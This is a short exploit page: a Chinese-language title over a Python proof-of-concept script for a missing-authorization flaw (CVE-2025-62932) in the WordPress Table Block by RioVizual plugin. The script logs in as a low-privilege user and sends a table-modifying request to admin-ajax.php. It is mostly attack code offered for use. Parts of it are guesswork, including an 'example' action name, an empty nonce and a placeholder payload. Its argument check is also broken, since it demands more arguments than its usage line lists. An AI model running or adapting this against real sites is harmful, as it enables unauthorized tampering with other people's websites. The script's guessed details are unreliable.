CVE-2025-62932 WordPress Table Block插件缺失授权漏洞

# CVE-2025-62932 PoC - Missing Authorization in Table Block by RioVizual # WordPress Plugin: Table Block by RioVizual <= 3.0.0 import requests import sys from urllib.parse import urljoin def exploit_cve_2025_62932(target_url, username, password): """ Exploit for Missing Authorization vulnerability in Table Block by RioVizual plugin This PoC demonstrates how a low-privilege user can perform unauthorized actions. """ # Setup WordPress session session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = urljoin(target_url, '/wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } print(f"[*] Attempting login as low-privilege user: {username}") response = session.post(login_url, data=login_data, cookies={'wordpress_test_cookie': 'WP+Cookie+check'}) if 'wordpress_logged_in' not in str(session.cookies.get_dict()): print("[-] Login failed") return False print("[+] Login successful") # Step 2: Identify vulnerable endpoint # The plugin's AJAX handlers lack proper capability checks ajax_url = urljoin(target_url, '/wp-admin/admin-ajax.php') # Step 3: Exploit the missing authorization # This example targets the table block save/update functionality exploit_data = { 'action': 'table_block_riovizual_save', # Example action name 'post_id': '1', 'table_data': '{"malicious": "payload"}', 'nonce': '' # May not be properly validated } print("[*] Sending exploit request to vulnerable endpoint...") response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print("[+] Exploit request sent successfully") print(f"[+] Response: {response.text[:200]}") # Step 4: Verify unauthorized access if 'success' in response.text or 'table' in response.text.lower(): print("[!] Vulnerability confirmed - low-privilege user can modify tables") return True print("[-] Exploitation may have failed or endpoint differs") return False if __name__ == '__main__': if len(sys.argv) < 5: print(f"Usage: python {sys.argv[0]} <target_url> <username> <password>") print(f"Example: python {sys.argv[0]} http://example.com subscriber password123") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] exploit_cve_2025_62932(target, user, pwd)